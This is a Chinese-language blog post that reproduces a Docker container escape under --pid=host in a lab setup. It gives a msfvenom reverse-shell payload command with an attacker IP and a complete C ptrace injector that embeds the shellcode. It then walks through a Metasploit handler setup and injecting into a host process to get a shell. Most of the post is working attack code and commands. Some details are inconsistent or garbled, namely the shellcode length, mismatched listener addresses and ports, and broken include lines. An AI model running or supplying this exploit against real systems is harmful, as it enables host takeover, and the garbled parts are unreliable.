docker逃逸复现--pid=host模式下的逃逸
迪丽瓦拉
2024-05-29 11:00:38
0
  1. 漏洞原理

当docker以--pid=host模式启动时,你可以通过在容器进程中注入一些shellcode进行逃逸。相当于给了docker Linux中的CAP_SYS_PTRACE权限

--pid=host:意味着宿主机与容器公享一套pid,如此做容器就可以访问并跟踪宿主机的进程

Linux中的CAP_SYS_PTRACE权限:允许跟踪任何进程

2实验环境

系统环境:ubuntu

docker版本:18.09

挂载的ununtu版本:18.04

攻击者:kali

3.漏洞复现

3.1安装Ubuntu docker 镜像

命令:

docker pull ubuntu:18.04

3.2--pid=host模式下运行docker

docker run -itd --pid=host ubuntu:18.04
docker exec -it db25b85c /bin/bash

结果:

查看进程后发现进程数目变多,是由于--pid=host模式下宿主机与容器公享一套pid导致容器可以跟踪到宿主机的进程,相当于通过宿主机的进程进行逃逸。

由于docker容器中的进程与宿主机上的进程相同, 为方便操作接下来将在宿主机下进行进行实验,二者原理相同。

3.3通过kail中的linux木马进行逃逸

3.3.1通过msfvenom生成shell的回弹木马

命令:

msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.239.133 LPORT=12345 -f c
#-p:payload 包含在你用于一次漏洞利用中的ShellCode中的主要功能代码
#LHOST:接受回弹后信息的IP地址
#LPORT:接受回弹后信息的端口
#-f:format生成木马的格式 如:c、bash、js等

结果:

以C语言的形式生成的木马

3.3.2编写回弹语句文件inject.c

文件内容:

#include 
#include 
#include 
#include #include 
#include 
#include 
#include #include 
#include #define SHELLCODE_SIZE 32unsigned char *shellcode = 
"\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9
\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a
\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05
\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x30\x39\xc0\xa8
\xef\x85\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59
\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a
\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48
\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26
\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"; #此处的代码为自己生成的木马int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{int      i;uint32_t *s = (uint32_t *) src;uint32_t *d = (uint32_t *) dst;for (i = 0; i < len; i+=4, s++, d++){if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0){perror ("ptrace(POKETEXT):");return -1;}}return 0;
}int
main (int argc, char *argv[])
{pid_t                   target;struct user_regs_struct regs;int                     syscall;long                    dst;if (argc != 2){fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);exit (1);}target = atoi (argv[1]);printf ("+ Tracing process %d\n", target);if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0){perror ("ptrace(ATTACH):");exit (1);}printf ("+ Waiting for process...\n");wait (NULL);printf ("+ Getting Registers\n");if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0){perror ("ptrace(GETREGS):");exit (1);}/* Inject code into current RPI position */printf ("+ Injecting shell code at %p\n", (void*)regs.rip);inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);regs.rip += 2;printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0){perror ("ptrace(GETREGS):");exit (1);}printf ("+ Run it!\n");if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0){perror ("ptrace(DETACH):");exit (1);}return 0;}

3.3.3编译inject.c文件

命令:

gcc inject.c -o inject #编译后的文件名为inject

结果:

3.4.使用msfconsole监听回弹信息端口

3.4.1开启msfconsole

命令:

msfconsole

结果:

3.4.2创建handler

命令:

use exploit/multi/handler

结果:

3.4.3创建监听的payload

命令:

set payload linux/x64/shell_reverse_tcp

结果:

3.4.4设置接收回弹信息的IP

命令:

set lhost 192.168.232.130

结果:

3.4.5设置接收回弹信息的端口

命令:

set lport 1234

结果:

3.4.6启动监听

命令:

exploit

结果:

回弹监听开启成功

3.5创建开启用于回弹的进程

命令:

python3 -m http.server 6789

结果:

3.6通过创建的进程进行回弹注入

3.6.1查看进程号

命令:

 ps -ef | grep python3

结果:

3.6.2使用inject进行注入

命令:

./inject 47614

结果:

3.7查看监听结果

成功监听到靶机的权限,说明docker容器可以成功逃逸。

相关内容